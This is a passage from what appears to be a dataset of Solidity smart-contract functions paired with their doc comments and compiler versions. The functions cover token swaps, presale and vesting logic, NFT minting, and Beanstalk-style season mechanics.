if(checkFundingStateFailed()) {\r\n return true;\r\n }\r\n // case 2\r\n if(checkMilestoneStateInvestorVotedNoVotingEndedNo()) {\r\n return true;\r\n }\r\n // case 3\r\n if(checkOwnerFailedToSetTimeOnMeeting()) {\r\n return true;\r\n }\r\n\r\n return false;\r\n }", "version": "0.4.17"} {"comment": "/**\n * Sunrise\n **/", "function_code": "function sunrise() external {\n require(!paused(), \"Season: Paused.\");\n require(seasonTime() > season(), \"Season: Still current Season.\");\n\n (\n Decimal.D256 memory beanPrice,\n Decimal.D256 memory usdcPrice\n ) = IOracle(address(this)).capture();\n uint256 price = beanPrice.mul(1e18).div(usdcPrice).asUint256();\n\n stepGovernance();\n stepSeason();\n snapshotSeason(price);\n stepWeather(price, s.f.soil);\n uint256 increase = stepSun(beanPrice, usdcPrice);\n stepSilo(increase);\n incentivize(msg.sender, C.getAdvanceIncentive());\n\n LibCheck.balanceCheck();\n\n emit Sunrise(season());\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Initialize tap\r\n * @param _controller The address of the controller contract\r\n * @param _reserve The address of the reserve [pool] contract\r\n * @param _beneficiary The address of the beneficiary [to whom funds are to be withdrawn]\r\n * @param _batchBlocks The number of blocks batches are to last\r\n * @param _maximumTapRateIncreasePct The maximum tap rate increase percentage allowed [in PCT_BASE]\r\n * @param _maximumTapFloorDecreasePct The maximum tap floor decrease percentage allowed [in PCT_BASE]\r\n */", "function_code": "function initialize(\r\n IAragonFundraisingController _controller,\r\n Vault _reserve,\r\n address _beneficiary,\r\n uint256 _batchBlocks,\r\n uint256 _maximumTapRateIncreasePct,\r\n uint256 _maximumTapFloorDecreasePct\r\n )\r\n external\r\n onlyInit\r\n {\r\n require(isContract(_controller), ERROR_CONTRACT_IS_EOA);\r\n require(isContract(_reserve), ERROR_CONTRACT_IS_EOA);\r\n require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY);\r\n require(_batchBlocks != 0, ERROR_INVALID_BATCH_BLOCKS);\r\n require(_maximumTapFloorDecreasePctIsValid(_maximumTapFloorDecreasePct), ERROR_INVALID_FLOOR_DECREASE_PCT);\r\n\r\n initialized();\r\n\r\n controller = _controller;\r\n reserve = _reserve;\r\n beneficiary = _beneficiary;\r\n batchBlocks = _batchBlocks;\r\n maximumTapRateIncreasePct = _maximumTapRateIncreasePct;\r\n maximumTapFloorDecreasePct = _maximumTapFloorDecreasePct;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Transfers tokens from sender to the contract.\n * User calls this function when he wants to transfer tokens to another blockchain.\n * @notice User must have approved tokenInAmount of tokenIn\n */", "function_code": "function swapTokensToOtherBlockchain(swapToParams memory params)\n external\n payable\n whenNotPaused\n TransferTo(params, msg.value)\n {\n IERC20 tokenIn = IERC20(params.firstPath[0]);\n if (params.firstPath.length > 1) {\n require(\n tokenIn.transferFrom(\n msg.sender,\n address(this),\n params.tokenInAmount\n ),\n \"swapContract: Transfer tokens from sender failed\"\n );\n require(\n tokenIn.approve(\n address(blockchainRouter),\n params.tokenInAmount\n ),\n \"swapContract: tokeinIn approve failed.\"\n );\n uint256[] memory amounts = blockchainRouter\n .swapTokensForExactTokens(\n params.exactRBCtokenOut,\n params.tokenInAmount,\n params.firstPath,\n blockchainPool,\n block.timestamp\n );\n tokenIn.transfer(_msgSender(), params.tokenInAmount - amounts[0]);\n params.tokenInAmount = amounts[0];\n } else {\n require(\n tokenIn.transferFrom(\n msg.sender,\n blockchainPool,\n params.exactRBCtokenOut\n ),\n \"swapContract: Transfer tokens from sender failed\"\n );\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Transfers tokens to end user in current blockchain\n */", "function_code": "function swapTokensToUserWithFee(swapFromParams memory params)\n external\n onlyRelayer\n whenNotPaused\n TransferFrom(params)\n {\n uint256 amountWithoutFee = FullMath.mulDiv(\n params.amountWithFee,\n 1e6 - feeAmountOfBlockchain[numOfThisBlockchain],\n 1e6\n );\n\n IERC20 RBCToken = IERC20(params.path[0]);\n\n if (params.path.length == 1) {\n require(\n RBCToken.transferFrom(\n blockchainPool,\n params.user,\n amountWithoutFee\n ),\n \"swapContract: transfer from pool failed\"\n );\n require(\n RBCToken.transferFrom(\n blockchainPool,\n blockchainFeeAddress,\n params.amountWithFee - amountWithoutFee\n ),\n \"swapContract: fee transfer failed\"\n );\n } else {\n require(\n RBCToken.transferFrom(\n blockchainPool,\n address(this),\n amountWithoutFee\n ),\n \"swapContract: transfer from pool failed\"\n );\n require(\n RBCToken.transferFrom(\n blockchainPool,\n blockchainFeeAddress,\n params.amountWithFee - amountWithoutFee\n ),\n \"swapContract: fee transfer failed\"\n );\n blockchainRouter.swapExactTokensForTokens(\n amountWithoutFee,\n params.amountOutMin,\n params.path,\n params.user,\n block.timestamp\n );\n }\n emit TransferFromOtherBlockchain(\n params.user,\n params.amountWithFee,\n amountWithoutFee,\n params.originalTxHash\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Swaps RBC from pool to initially spent by user tokens and transfers him\n * @notice There is used the same structure as in other similar functions but amountOutMin should be\n * equal to the amount of tokens initially spent by user (we are refunding them), AmountWithFee should\n * be equal to the amount of RBC tokens that the pool got after the first swap (RBCAmountIn in the event)\n * hashedParams of this originalTxHash\n */", "function_code": "function refundTokensToUser(swapFromParams memory params)\n external\n onlyRelayer\n whenNotPaused\n TransferFrom(params)\n {\n IERC20 RBCToken = IERC20(params.path[0]);\n\n if (params.path.length == 1) {\n require(\n RBCToken.transferFrom(\n blockchainPool,\n params.user,\n params.amountOutMin\n ),\n \"swapContract: transfer from pool failed\"\n );\n emit userRefunded(\n params.user,\n params.amountOutMin,\n params.amountOutMin,\n params.originalTxHash\n );\n } else {\n uint256 amountIn = FullMath.mulDiv(\n params.amountWithFee,\n 1e6 + refundSlippage,\n 1e6\n );\n\n require(\n RBCToken.transferFrom(blockchainPool, address(this), amountIn),\n \"swapContract: transfer from pool failed\"\n );\n\n uint256 RBCSpent = blockchainRouter.swapTokensForExactTokens(\n params.amountOutMin,\n amountIn,\n params.path,\n params.user,\n block.timestamp\n )[0];\n\n require(\n RBCToken.transfer(blockchainPool, amountIn - RBCSpent),\n \"swapContract: remaining RBC transfer to pool failed\"\n );\n emit userRefunded(\n params.user,\n RBCSpent,\n RBCSpent,\n params.originalTxHash\n );\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Registers another blockchain for availability to swap\n * @param numOfOtherBlockchain number of blockchain\n */", "function_code": "function addOtherBlockchain(uint128 numOfOtherBlockchain)\n external\n onlyOwner\n {\n require(\n numOfOtherBlockchain != numOfThisBlockchain,\n \"swapContract: Cannot add this blockchain to array of other blockchains\"\n );\n require(\n !existingOtherBlockchain[numOfOtherBlockchain],\n \"swapContract: This blockchain is already added\"\n );\n existingOtherBlockchain[numOfOtherBlockchain] = true;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Change existing blockchain id\n * @param oldNumOfOtherBlockchain number of existing blockchain\n * @param newNumOfOtherBlockchain number of new blockchain\n */", "function_code": "function changeOtherBlockchain(\n uint128 oldNumOfOtherBlockchain,\n uint128 newNumOfOtherBlockchain\n ) external onlyOwner {\n require(\n oldNumOfOtherBlockchain != newNumOfOtherBlockchain,\n \"swapContract: Cannot change blockchains with same number\"\n );\n require(\n newNumOfOtherBlockchain != numOfThisBlockchain,\n \"swapContract: Cannot add this blockchain to array of other blockchains\"\n );\n require(\n existingOtherBlockchain[oldNumOfOtherBlockchain],\n \"swapContract: This blockchain was not added\"\n );\n require(\n !existingOtherBlockchain[newNumOfOtherBlockchain],\n \"swapContract: This blockchain is already added\"\n );\n\n existingOtherBlockchain[oldNumOfOtherBlockchain] = false;\n existingOtherBlockchain[newNumOfOtherBlockchain] = true;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Transfers permissions of contract ownership.\n * Will setup new owner and one manager on contract.\n * Main purpose of this function is to transfer ownership from deployer account ot real owner\n * @param newOwner Address of new owner\n * @param newManager Address of new manager\n */", "function_code": "function transferOwnerAndSetManager(address newOwner, address newManager)\n external\n onlyOwner\n {\n require(\n newOwner != _msgSender(),\n \"swapContract: New owner must be different than current\"\n );\n require(\n newOwner != address(0x0),\n \"swapContract: Owner cannot be zero address\"\n );\n require(\n newManager != address(0x0),\n \"swapContract: Owner cannot be zero address\"\n );\n _setupRole(DEFAULT_ADMIN_ROLE, newOwner);\n _setupRole(OWNER_ROLE, newOwner);\n _setupRole(MANAGER_ROLE, newManager);\n renounceRole(OWNER_ROLE, _msgSender());\n renounceRole(DEFAULT_ADMIN_ROLE, _msgSender());\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Function changes values associated with certain originalTxHash\n * @param originalTxHash Transaction hash to change\n * @param statusCode Associated status: 0-Not processed, 1-Processed, 2-Reverted\n * @param hashedParams Hashed params with which the initial transaction was executed\n */", "function_code": "function changeTxStatus(\n bytes32 originalTxHash,\n uint256 statusCode,\n bytes32 hashedParams\n ) external onlyRelayer {\n require(\n statusCode != 0,\n \"swapContract: you cannot set the statusCode to 0\"\n );\n require(\n processedTransactions[originalTxHash].statusCode != 1,\n \"swapContract: transaction with this originalTxHash has already been set as succeed\"\n );\n processedTransactions[originalTxHash].statusCode = statusCode;\n processedTransactions[originalTxHash].hashedParams = hashedParams;\n }", "version": "0.8.4"} {"comment": "//Deletes from mapping (bytes32 => array[]) at index _index", "function_code": "function deleteArrayAddress(bytes32 _key, uint256 _index) internal {\r\n address[] storage array = addressArrayStorage[_key];\r\n require(_index < array.length, \"Index should less than length of the array\");\r\n array[_index] = array[array.length - 1];\r\n array.length = array.length - 1;\r\n }", "version": "0.4.24"} {"comment": "//Deletes from mapping (bytes32 => bytes32[]) at index _index", "function_code": "function deleteArrayBytes32(bytes32 _key, uint256 _index) internal {\r\n bytes32[] storage array = bytes32ArrayStorage[_key];\r\n require(_index < array.length, \"Index should less than length of the array\");\r\n array[_index] = array[array.length - 1];\r\n array.length = array.length - 1;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Upgrades the implementation address\r\n * @param _newVersion representing the version name of the new implementation to be set\r\n * @param _newImplementation representing the address of the new implementation to be set\r\n */", "function_code": "function _upgradeTo(string _newVersion, address _newImplementation) internal {\r\n require(\r\n __implementation != _newImplementation && _newImplementation != address(0),\r\n \"Old address is not allowed and implementation address should not be 0x\"\r\n );\r\n require(AddressUtils.isContract(_newImplementation), \"Cannot set a proxy implementation to a non-contract address\");\r\n require(bytes(_newVersion).length > 0, \"Version should not be empty string\");\r\n require(keccak256(abi.encodePacked(__version)) != keccak256(abi.encodePacked(_newVersion)), \"New version equals to current\");\r\n __version = _newVersion;\r\n __implementation = _newImplementation;\r\n emit Upgraded(_newVersion, _newImplementation);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Converts a `uint256` to a `string`.\n * via OraclizeAPI - MIT licence\n * https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n */", "function_code": "function fromUint(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n uint256 index = digits - 1;\n temp = value;\n while (temp != 0) {\n buffer[index--] = bytes1(uint8(48 + (temp % 10)));\n temp /= 10;\n }\n return string(buffer);\n }", "version": "0.8.4"} {"comment": "/**\n * Index Of\n *\n * Locates and returns the position of a character within a string starting\n * from a defined offset\n *\n * @param _base When being used for a data type this is the extended object\n * otherwise this is the string acting as the haystack to be\n * searched\n * @param _value The needle to search for, at present this is currently\n * limited to one character\n * @param _offset The starting point to start searching from which can start\n * from 0, but must not exceed the length of the string\n * @return int The position of the needle starting from 0 and returning -1\n * in the case of no matches found\n */", "function_code": "function indexOf(\n bytes memory _base,\n string memory _value,\n uint256 _offset\n ) internal pure returns (int256) {\n bytes memory _valueBytes = bytes(_value);\n\n assert(_valueBytes.length == 1);\n\n for (uint256 i = _offset; i < _base.length; i++) {\n if (_base[i] == _valueBytes[0]) {\n return int256(i);\n }\n }\n\n return -1;\n }", "version": "0.8.4"} {"comment": "// Season of Plenty", "function_code": "function rewardEther(uint256 amount) internal {\n uint256 base;\n if (s.sop.base == 0) {\n base = amount.mul(BIG_BASE);\n s.sop.base = BURN_BASE;\n }\n else base = amount.mul(s.sop.base).div(s.sop.weth);\n\n // Award ether to claimed stalk holders\n uint256 basePerStalk = base.div(s.r.roots);\n base = basePerStalk.mul(s.r.roots);\n s.sops[s.r.start] = s.sops[s.r.start].add(basePerStalk);\n\n // Update total state\n s.sop.weth = s.sop.weth.add(amount);\n s.sop.base = s.sop.base.add(base);\n if (base > 0) s.sop.last = s.r.start;\n\n }", "version": "0.7.6"} {"comment": "/** @param _owner The owner whose ships tokens we are interested in.\r\n * @dev This method MUST NEVER be called by smart contract code. First, it's fairly\r\n * expensive (it walks the entire Collectibles owners array looking for NFT belonging to owner)\r\n */", "function_code": "function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n uint256 totalItems = balanceOf(_owner);\r\n uint256 resultIndex = 0;\r\n\r\n // We count on the fact that all Collectible have IDs starting at 0 and increasing\r\n // sequentially up to the total count.\r\n uint256 _assetId;\r\n\r\n for (_assetId = 0; _assetId < totalItems; _assetId++) {\r\n result[resultIndex] = tokenOfOwnerByIndex(_owner,_assetId);\r\n resultIndex++;\r\n }\r\n\r\n return result;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * Shed\n **/", "function_code": "function sqrt(uint y) internal pure returns (uint z) {\n if (y > 3) {\n z = y;\n uint x = y / 2 + 1;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Initialize presale\r\n * @param _controller The address of the controller contract\r\n * @param _tokenManager The address of the [bonded] token manager contract\r\n * @param _reserve The address of the reserve [pool] contract\r\n * @param _beneficiary The address of the beneficiary [to whom a percentage of the raised funds is be to be sent]\r\n * @param _contributionToken The address of the token to be used to contribute\r\n * @param _goal The goal to be reached by the end of that presale [in contribution token wei]\r\n * @param _period The period within which to accept contribution for that presale\r\n * @param _exchangeRate The exchangeRate [= 1/price] at which [bonded] tokens are to be purchased for that presale [in PPM]\r\n * @param _vestingCliffPeriod The period during which purchased [bonded] tokens are to be cliffed\r\n * @param _vestingCompletePeriod The complete period during which purchased [bonded] tokens are to be vested\r\n * @param _supplyOfferedPct The percentage of the initial supply of [bonded] tokens to be offered during that presale [in PPM]\r\n * @param _fundingForBeneficiaryPct The percentage of the raised contribution tokens to be sent to the beneficiary [instead of the fundraising reserve] when that presale is closed [in PPM]\r\n * @param _openDate The date upon which that presale is to be open [ignored if 0]\r\n */", "function_code": "function initialize(\r\n IAragonFundraisingController _controller,\r\n TokenManager _tokenManager,\r\n address _reserve,\r\n address _beneficiary,\r\n address _contributionToken,\r\n uint256 _goal,\r\n uint64 _period,\r\n uint256 _exchangeRate,\r\n uint64 _vestingCliffPeriod,\r\n uint64 _vestingCompletePeriod,\r\n uint256 _supplyOfferedPct,\r\n uint256 _fundingForBeneficiaryPct,\r\n uint64 _openDate\r\n )\r\n external\r\n onlyInit\r\n {\r\n require(isContract(_controller), ERROR_CONTRACT_IS_EOA);\r\n require(isContract(_tokenManager), ERROR_CONTRACT_IS_EOA);\r\n require(isContract(_reserve), ERROR_CONTRACT_IS_EOA);\r\n require(_beneficiary != address(0), ERROR_INVALID_BENEFICIARY);\r\n require(isContract(_contributionToken) || _contributionToken == ETH, ERROR_INVALID_CONTRIBUTE_TOKEN);\r\n require(_goal > 0, ERROR_INVALID_GOAL);\r\n require(_period > 0, ERROR_INVALID_TIME_PERIOD);\r\n require(_exchangeRate > 0, ERROR_INVALID_EXCHANGE_RATE);\r\n require(_vestingCliffPeriod > _period, ERROR_INVALID_TIME_PERIOD);\r\n require(_vestingCompletePeriod > _vestingCliffPeriod, ERROR_INVALID_TIME_PERIOD);\r\n require(_supplyOfferedPct > 0 && _supplyOfferedPct <= PPM, ERROR_INVALID_PCT);\r\n require(_fundingForBeneficiaryPct >= 0 && _fundingForBeneficiaryPct <= PPM, ERROR_INVALID_PCT);\r\n\r\n initialized();\r\n\r\n controller = _controller;\r\n tokenManager = _tokenManager;\r\n token = ERC20(_tokenManager.token());\r\n reserve = _reserve;\r\n beneficiary = _beneficiary;\r\n contributionToken = _contributionToken;\r\n goal = _goal;\r\n period = _period;\r\n exchangeRate = _exchangeRate;\r\n vestingCliffPeriod = _vestingCliffPeriod;\r\n vestingCompletePeriod = _vestingCompletePeriod;\r\n supplyOfferedPct = _supplyOfferedPct;\r\n fundingForBeneficiaryPct = _fundingForBeneficiaryPct;\r\n\r\n if (_openDate != 0) {\r\n _setOpenDate(_openDate);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Contribute to the presale up to `@tokenAmount(self.contributionToken(): address, _value)`\r\n * @param _contributor The address of the contributor\r\n * @param _value The amount of contribution token to be spent\r\n */", "function_code": "function contribute(address _contributor, uint256 _value) external payable nonReentrant auth(CONTRIBUTE_ROLE) {\r\n require(state() == State.Funding, ERROR_INVALID_STATE);\r\n require(_value != 0, ERROR_INVALID_CONTRIBUTE_VALUE);\r\n\r\n if (contributionToken == ETH) {\r\n require(msg.value == _value, ERROR_INVALID_CONTRIBUTE_VALUE);\r\n } else {\r\n require(msg.value == 0, ERROR_INVALID_CONTRIBUTE_VALUE);\r\n }\r\n\r\n _contribute(_contributor, _value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Returns the current state of that presale\r\n */", "function_code": "function state() public view isInitialized returns (State) {\r\n if (openDate == 0 || openDate > getTimestamp64()) {\r\n return State.Pending;\r\n }\r\n\r\n if (totalRaised >= goal) {\r\n if (isClosed) {\r\n return State.Closed;\r\n } else {\r\n return State.GoalReached;\r\n }\r\n }\r\n\r\n if (_timeSinceOpen() < period) {\r\n return State.Funding;\r\n } else {\r\n return State.Refunding;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * Liquidity\n **/", "function_code": "function addLiquidity(AddLiquidity calldata al) internal returns (uint256, uint256) {\n (uint256 beansDeposited, uint256 ethDeposited, uint256 liquidity) = _addLiquidity(\n msg.value,\n al.beanAmount,\n al.minEthAmount,\n al.minBeanAmount\n );\n (bool success,) = msg.sender.call{ value: msg.value.sub(ethDeposited) }(\"\");\n require(success, \"Market: Refund failed.\");\n return (beansDeposited, liquidity);\n }", "version": "0.7.6"} {"comment": "/// @dev internal function to update MLB player id", "function_code": "function _updateMLBPlayerId(uint256 _tokenId, uint256 _newMLBPlayerId) internal {\r\n\r\n // Get Token Obj\r\n NFT storage lsnftObj = allNFTs[_tokenId];\r\n \r\n lsnftObj.mlbPlayerId = _newMLBPlayerId;\r\n\r\n // Update Token Data with new updated attributes\r\n allNFTs[_tokenId] = lsnftObj;\r\n\r\n emit AssetUpdated(_tokenId);\r\n }", "version": "0.4.24"} {"comment": "// Split the minting blob into token_id and blueprint portions\n// {token_id}:{blueprint}", "function_code": "function split(bytes calldata blob)\n internal\n pure\n returns (uint256, bytes memory)\n {\n int256 index = Bytes.indexOf(blob, \":\", 0);\n require(index >= 0, \"Separator must exist\");\n // Trim the { and } from the parameters\n uint256 tokenID = Bytes.toUint(blob[1:uint256(index) - 1]);\n uint256 blueprintLength = blob.length - uint256(index) - 3;\n if (blueprintLength == 0) {\n return (tokenID, bytes(\"\"));\n }\n bytes calldata blueprint = blob[uint256(index) + 2:blob.length - 1];\n return (tokenID, blueprint);\n }", "version": "0.8.4"} {"comment": "/// @dev internal function to update asset earnedBy value for an asset/token", "function_code": "function _updateEarnedBy(uint256 _tokenId, uint256 _earnedBy) internal {\r\n\r\n // Get Token Obj\r\n NFT storage lsnftObj = allNFTs[_tokenId];\r\n \r\n lsnftObj.earnedBy = _earnedBy;\r\n\r\n // Update Token Data with new updated attributes\r\n allNFTs[_tokenId] = lsnftObj;\r\n\r\n emit AssetUpdated(_tokenId);\r\n }", "version": "0.4.24"} {"comment": "/**\n * Soil\n **/", "function_code": "function increaseSoil(uint256 amount) internal returns (int256) {\n uint256 maxTotalSoil = C.getMaxSoilRatioCap().mul(bean().totalSupply()).div(1e18);\n uint256 minTotalSoil = C.getMinSoilRatioCap().mul(bean().totalSupply()).div(1e18);\n if (s.f.soil > maxTotalSoil) {\n amount = s.f.soil.sub(maxTotalSoil);\n decrementTotalSoil(amount);\n return -int256(amount);\n }\n uint256 newTotalSoil = s.f.soil + amount;\n amount = newTotalSoil <= maxTotalSoil ? amount : maxTotalSoil.sub(s.f.soil);\n amount = newTotalSoil >= minTotalSoil ? amount : minTotalSoil.sub(s.f.soil);\n\n incrementTotalSoil(amount);\n return int256(amount);\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Generates promo collectibles. Only callable by Game Master, with isAttached as 0.\r\n * @notice The generation of an asset if limited via the generationSeasonController\r\n * @param _teamId teamId of the asset/token/collectible\r\n * @param _posId position of the asset/token/collectible\r\n * @param _attributes attributes of asset/token/collectible\r\n * @param _owner owner of asset/token/collectible\r\n * @param _gameId mlb game Identifier\r\n * @param _playerOverrideId player override identifier\r\n * @param _mlbPlayerId official mlb player identifier\r\n */", "function_code": "function createPromoCollectible(\r\n uint8 _teamId,\r\n uint8 _posId,\r\n uint256 _attributes,\r\n address _owner,\r\n uint256 _gameId,\r\n uint256 _playerOverrideId,\r\n uint256 _mlbPlayerId)\r\n external\r\n canCreate\r\n whenNotPaused\r\n returns (uint256)\r\n {\r\n\r\n address nftOwner = _owner;\r\n if (nftOwner == address(0)) {\r\n nftOwner = managerPrimary;\r\n }\r\n\r\n if(allNFTs.length > 0) {\r\n promoCreatedCount[_teamId]++;\r\n }\r\n \r\n uint32 _sequenceId = getSequenceId(_teamId);\r\n \r\n uint256 assetDetails = uint256(uint64(now));\r\n assetDetails |= uint256(_sequenceId)<<64;\r\n assetDetails |= uint256(_teamId)<<96;\r\n assetDetails |= uint256(_posId)<<104;\r\n\r\n uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];\r\n \r\n return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData);\r\n }", "version": "0.4.24"} {"comment": "/**\n * Public\n **/", "function_code": "function claim(Claim calldata c) public payable {\n if (c.beanWithdrawals.length > 0) _claimBeans(c.beanWithdrawals);\n if (c.lpWithdrawals.length > 0) {\n if (c.convertLP) _removeAndClaimLP(c.lpWithdrawals, c.minBeanAmount, c.minEthAmount);\n else _claimLP(c.lpWithdrawals);\n }\n if (c.plots.length > 0) _harvest(c.plots);\n if (c.claimEth) claimEth();\n if (msg.sender != address(this)) LibCheck.balanceCheck();\n }", "version": "0.7.6"} {"comment": "// Claim Beans", "function_code": "function _claimBeans(uint32[] calldata withdrawals) private {\n uint256 beansClaimed = 0;\n for (uint256 i = 0; i < withdrawals.length; i++) {\n require(withdrawals[i] <= s.season.current, \"Claim: Withdrawal not recievable.\");\n beansClaimed = beansClaimed.add(claimBeanWithdrawal(msg.sender, withdrawals[i]));\n }\n IBean(s.c.bean).transfer(msg.sender, beansClaimed);\n emit BeanClaim(msg.sender, withdrawals, beansClaimed);\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Generaes a new single seed Collectible, with isAttached as 0.\r\n * @notice Helps in creating seed collectible.The generation of an asset if limited via the generationSeasonController\r\n * @param _teamId teamId of the asset/token/collectible\r\n * @param _posId position of the asset/token/collectible\r\n * @param _attributes attributes of asset/token/collectible\r\n * @param _owner owner of asset/token/collectible\r\n * @param _gameId mlb game Identifier\r\n * @param _playerOverrideId player override identifier\r\n * @param _mlbPlayerId official mlb player identifier\r\n */", "function_code": "function createSeedCollectible(\r\n uint8 _teamId,\r\n uint8 _posId,\r\n uint256 _attributes,\r\n address _owner,\r\n uint256 _gameId,\r\n uint256 _playerOverrideId,\r\n uint256 _mlbPlayerId)\r\n external\r\n canCreate\r\n whenNotPaused\r\n returns (uint256) {\r\n\r\n address nftOwner = _owner;\r\n \r\n if (nftOwner == address(0)) {\r\n nftOwner = managerPrimary;\r\n }\r\n \r\n seedCreatedCount++;\r\n uint32 _sequenceId = getSequenceId(_teamId);\r\n \r\n uint256 assetDetails = uint256(uint64(now));\r\n assetDetails |= uint256(_sequenceId)<<64;\r\n assetDetails |= uint256(_teamId)<<96;\r\n assetDetails |= uint256(_posId)<<104;\r\n\r\n uint256[5] memory _nftData = [assetDetails, _attributes, _gameId, _playerOverrideId, _mlbPlayerId];\r\n \r\n return _createNFTCollectible(_teamId, _attributes, nftOwner, 0, _nftData);\r\n }", "version": "0.4.24"} {"comment": "//constructor function\n//initializing lock-up periods and corresponding amounts of tokens", "function_code": "function CareerChainPrivateSale\r\n (\r\n uint256 _openingTime,\r\n uint256 _closingTime,\r\n uint256 _rate,\r\n address _wallet,\r\n uint256[6] _lockupEndTime,\r\n uint256 _firstVestedLockUpAmount,\r\n uint256 _stagedVestedLockUpAmounts,\r\n CareerChainToken _token\r\n )\r\n public\r\n Crowdsale(_rate, _wallet, _token)\r\n TimedCrowdsale(_openingTime, _closingTime)\r\n {\r\n // solium-disable-next-line security/no-block-members\r\n require(_lockupEndTime[0] >= block.timestamp);\r\n require(_lockupEndTime[1] >= _lockupEndTime[0]);\r\n require(_lockupEndTime[2] >= _lockupEndTime[1]);\r\n require(_lockupEndTime[3] >= _lockupEndTime[2]);\r\n require(_lockupEndTime[4] >= _lockupEndTime[3]);\r\n require(_lockupEndTime[5] >= _lockupEndTime[4]);\r\n\r\n lockupEndTime = _lockupEndTime;\r\n\r\n firstVestedLockUpAmount = _firstVestedLockUpAmount;\r\n stagedVestedLockUpAmounts = _stagedVestedLockUpAmounts;\r\n }", "version": "0.4.24"} {"comment": "// Calculates the amount that has already vested.", "function_code": "function vestedAmount() private view returns (uint256) {\r\n uint256 lockupStage = 0;\r\n uint256 releasable = 0;\r\n\r\n //determine current lock-up phase\r\n uint256 i = 0;\r\n // solium-disable-next-line security/no-block-members\r\n while (i < lockupEndTime.length && lockupEndTime[i] <= now) {\r\n lockupStage = lockupStage.add(1);\r\n i = i.add(1);\r\n }\r\n\r\n //if lockupStage == 0 then all tokens are still in lock-up (first lock-up period not ended yet)\r\n if(lockupStage>0) {\r\n //calculate the releasable amount depending on the current lock-up stage\r\n releasable = (lockupStage.sub(1).mul(stagedVestedLockUpAmounts)).add(firstVestedLockUpAmount);\r\n }\r\n\r\n return releasable;\r\n }", "version": "0.4.24"} {"comment": "//Withdraw tokens only after lock-up ends, applying the staged lock-up scheme.", "function_code": "function withdrawTokens() public {\r\n uint256 tobeReleased = 0;\r\n uint256 unreleased = releasableAmount();\r\n\r\n //max amount to be withdrawn is the releasable amount, excess stays in lock-up, unless all lock-ups have ended\r\n // solium-disable-next-line security/no-block-members\r\n if(balances[msg.sender] >= unreleased && lockupEndTime[lockupEndTime.length-1] > now)\r\n {\r\n tobeReleased = unreleased;\r\n }\r\n else\r\n {\r\n tobeReleased = balances[msg.sender];\r\n }\r\n\r\n //revert transaction when nothing to be withdrawn\r\n require(tobeReleased > 0);\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(tobeReleased);\r\n tokensStillInLockup = tokensStillInLockup.sub(tobeReleased);\r\n released[msg.sender] = released[msg.sender].add(tobeReleased);\r\n\r\n _deliverTokens(msg.sender, tobeReleased);\r\n\r\n }", "version": "0.4.24"} {"comment": "/***** external functions *****/", "function_code": "function prepareInstance(\r\n string _boardTokenName,\r\n string _boardTokenSymbol,\r\n address[] _boardMembers,\r\n uint64[3] _boardVotingSettings,\r\n uint64 _financePeriod\r\n )\r\n external\r\n {\r\n require(_boardMembers.length > 0, ERROR_BAD_SETTINGS);\r\n require(_boardVotingSettings.length == 3, ERROR_BAD_SETTINGS);\r\n\r\n // deploy DAO\r\n (Kernel dao, ACL acl) = _createDAO();\r\n // deploy board token\r\n MiniMeToken boardToken = _createToken(_boardTokenName, _boardTokenSymbol, BOARD_TOKEN_DECIMALS);\r\n // install board apps\r\n TokenManager tm = _installBoardApps(dao, boardToken, _boardVotingSettings, _financePeriod);\r\n // mint board tokens\r\n _mintTokens(acl, tm, _boardMembers, 1);\r\n // cache DAO\r\n _cacheDao(dao);\r\n }", "version": "0.4.24"} {"comment": "/***** internal apps installation functions *****/", "function_code": "function _installBoardApps(Kernel _dao, MiniMeToken _token, uint64[3] _votingSettings, uint64 _financePeriod)\r\n internal\r\n returns (TokenManager)\r\n {\r\n TokenManager tm = _installTokenManagerApp(_dao, _token, BOARD_TRANSFERABLE, BOARD_MAX_PER_ACCOUNT);\r\n Voting voting = _installVotingApp(_dao, _token, _votingSettings);\r\n Vault vault = _installVaultApp(_dao);\r\n Finance finance = _installFinanceApp(_dao, vault, _financePeriod == 0 ? DEFAULT_FINANCE_PERIOD : _financePeriod);\r\n\r\n _cacheBoardApps(tm, voting, vault, finance);\r\n\r\n return tm;\r\n }", "version": "0.4.24"} {"comment": "/***** internal apps initialization functions *****/", "function_code": "function _initializePresale(\r\n uint256 _goal,\r\n uint64 _period,\r\n uint256 _exchangeRate,\r\n uint64 _vestingCliffPeriod,\r\n uint64 _vestingCompletePeriod,\r\n uint256 _supplyOfferedPct,\r\n uint256 _fundingForBeneficiaryPct,\r\n uint64 _openDate\r\n )\r\n internal\r\n {\r\n _presaleCache().initialize(\r\n _controllerCache(),\r\n _shareTMCache(),\r\n _reserveCache(),\r\n 